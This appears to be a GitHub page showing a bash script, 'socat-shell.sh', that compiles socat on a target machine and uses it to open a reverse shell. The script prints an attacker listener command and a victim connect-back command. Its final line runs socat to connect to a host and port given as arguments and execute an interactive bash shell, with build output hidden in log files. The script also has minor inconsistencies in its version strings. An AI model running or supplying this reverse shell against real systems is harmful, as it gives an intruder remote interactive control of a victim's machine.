-
Notifications
You must be signed in to change notification settings - Fork 35
Expand file tree
/
Copy pathsocat-shell.sh
More file actions
executable file
·59 lines (58 loc) · 2.12 KB
/
socat-shell.sh
File metadata and controls
executable file
·59 lines (58 loc) · 2.12 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#!/bin/bash
#Copyright 2016 Paul Ritchie
#
#Licensed under the Apache License, Version 2.0 (the "License");
#you may not use this file except in compliance with the License.
#You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
#Unless required by applicable law or agreed to in writing, software
#distributed under the License is distributed on an "AS IS" BASIS,
#WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#See the License for the specific language governing permissions and
#limitations under the License.
if [ -e "./socat" ]; then
echo "socat already compiled in current directory"
echo "moving on to establishing connection"
else
echo "socat NOT compiled in current dir, extracting and compiling"
# check for gcc and make
if [ -z `which gcc` ] || [ -z `which make` ]; then
echo "Unfortunately gcc or make is not installed"
echo "we won't be able to compile socat on this target today"
exit -1
fi
# unpack socak source
tar xf socat-1.7.0.1.tar
echo "Extracted socat to: socat-1.7.3.1"
# change working directory
cd socat-1.7.0.1
echo "Changed directory to: " `pwd`
./configure &> ../configure-log.txt # hide the output
make &> ../make-log.txt # hide the output
if [ -e "./socat" ]; then
echo "compilation successful, socat found."
cp socat ../
cd ../
echo "Changed directory to: " `pwd`
else
echo "$file not found, check log files configure-log.txt & make-log.txt"
exit -1
fi
fi
# if we get here then socat binary has been compiled and we have a copy in this directory
echo "===================="
echo "Start listener on attacker's host:"
echo "user@attacker ~: socat -,raw,echo=0 tcp-listen:4545"
echo "===================="
echo "Run socat from victim to connect back:"
echo "user@victim ~: socat tcp:<host>:<port> exec:\"bash -i\",pty,stderr,setsid,sigint,sane"
echo "====================="
if [ -z "$1" ] && [ -z "$2" ]; then
echo "No arguments provided, please enter the command shown above with host and port"
exit -1
else
echo "Attempting to execute against host $1 and port $2"
./socat tcp:$1:$2 exec:"bash -i",pty,stderr,setsid,sigint,sane
fi